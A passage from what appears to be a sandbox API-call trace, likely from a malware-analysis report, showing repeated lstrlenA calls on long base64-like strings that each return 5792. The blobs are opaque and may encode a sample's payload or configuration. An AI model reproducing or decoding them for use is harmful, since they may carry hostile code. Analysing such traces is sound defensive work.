Gouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.804] lstrlenA (lpString="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") returned 5792 [0163.804] lstrlenA (lpString="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") returned 5792 [0163.804] lstrlenA (lpString="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